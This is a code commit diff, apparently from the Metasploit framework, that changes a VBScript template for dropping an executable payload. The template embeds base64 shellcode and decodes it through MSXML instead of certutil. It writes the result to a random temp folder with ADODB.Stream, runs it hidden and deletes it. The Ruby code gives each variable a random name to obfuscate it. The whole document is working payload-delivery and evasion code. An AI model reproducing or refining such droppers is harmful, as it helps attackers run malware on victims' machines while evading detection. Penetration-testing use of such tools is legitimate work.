Use MSXML decoder instead

Author: f7b053223a9e

data/templates/scripts/to_exe.vbs.template

@@ -1,27 +1,34 @@
+Function %{var_decodefunc}(%{var_decodebase64})
+	%{var_xml} = "<B64DECODE xmlns:dt="& Chr(34) & "urn:schemas-microsoft-com:datatypes" & Chr(34) & " " & _
+		"dt:dt=" & Chr(34) & "bin.base64" & Chr(34) & ">" & _
+		%{var_decodebase64} & "</B64DECODE>"
+	Set %{var_xmldoc} = CreateObject("MSXML2.DOMDocument.3.0")
+	%{var_xmldoc}.LoadXML(%{var_xml})
+	%{var_decodefunc} = %{var_xmldoc}.selectsinglenode("B64DECODE").nodeTypedValue
+	set %{var_xmldoc} = nothing
+End Function
+
 Function %{var_func}()
 	%{var_shellcode} = "%{base64_shellcode}"
-
 	Dim %{var_obj}
 	Set %{var_obj} = CreateObject("Scripting.FileSystemObject")
-	Dim %{var_stream}
 	Dim %{var_tempdir}
-	Dim %{var_tempbase64}
 	Dim %{var_basedir}
 	Set %{var_tempdir} = %{var_obj}.GetSpecialFolder(2)
 	%{var_basedir} = %{var_tempdir} & "\" & %{var_obj}.GetTempName()
 	%{var_obj}.CreateFolder(%{var_basedir})
-	%{var_tempbase64} = %{var_basedir} & "\" & "%{base64_filename}"
 	%{var_tempexe} = %{var_basedir} & "\" & "%{exe_filename}"
-	Set %{var_stream} = %{var_obj}.CreateTextFile(%{var_tempbase64}, true , false)
-	%{var_stream}.Write %{var_shellcode}
-	%{var_stream}.Close
 	Dim %{var_shell}
 	Set %{var_shell} = CreateObject("Wscript.Shell")
-	%{var_shell}.run "certutil -decode " & %{var_tempbase64} & " " & %{var_tempexe}, 0, true
+	%{var_decoded} = %{var_decodefunc}(%{var_shellcode})
+	Set %{var_adodbstream} = CreateObject("ADODB.Stream")
+	%{var_adodbstream}.Type = 1
+	%{var_adodbstream}.Open
+	%{var_adodbstream}.Write %{var_decoded}
+	%{var_adodbstream}.SaveToFile %{var_tempexe}, 2
 	%{var_shell}.run %{var_tempexe}, 0, true
 	%{var_obj}.DeleteFile(%{var_tempexe})
-	%{var_obj}.DeleteFile(%{var_tempbase64})
 	%{var_obj}.DeleteFolder(%{var_basedir})
 End Function
 
-%{init}
+%{init}

lib/msf/util/exe.rb

@@ -1247,16 +1247,18 @@ def self.to_exe_vbs(exes = '', opts = {})
     hash_sub[:var_shellcode] = Rex::Text.rand_text_alpha(rand(8)+8)
     hash_sub[:var_fname]     = Rex::Text.rand_text_alpha(rand(8)+8)
     hash_sub[:var_func]      = Rex::Text.rand_text_alpha(rand(8)+8)
-    hash_sub[:var_stream]    = Rex::Text.rand_text_alpha(rand(8)+8)
     hash_sub[:var_obj]       = Rex::Text.rand_text_alpha(rand(8)+8)
     hash_sub[:var_shell]     = Rex::Text.rand_text_alpha(rand(8)+8)
     hash_sub[:var_tempdir]   = Rex::Text.rand_text_alpha(rand(8)+8)
     hash_sub[:var_tempexe]   = Rex::Text.rand_text_alpha(rand(8)+8)
-    hash_sub[:var_tempbase64]   = Rex::Text.rand_text_alpha(rand(8)+8)
     hash_sub[:var_basedir]   = Rex::Text.rand_text_alpha(rand(8)+8)
-
     hash_sub[:base64_shellcode] = Rex::Text.encode_base64(exes)
-
+    hash_sub[:var_decodefunc] = Rex::Text.rand_text_alpha(rand(8)+8)
+    hash_sub[:var_xml] = Rex::Text.rand_text_alpha(rand(8)+8)
+    hash_sub[:var_xmldoc] = Rex::Text.rand_text_alpha(rand(8)+8)
+    hash_sub[:var_decoded] = Rex::Text.rand_text_alpha(rand(8)+8)
+    hash_sub[:var_adodbstream] = Rex::Text.rand_text_alpha(rand(8)+8)
+    hash_sub[:var_decodebase64] = Rex::Text.rand_text_alpha(rand(8)+8)
     hash_sub[:init] = ""
 
     if persist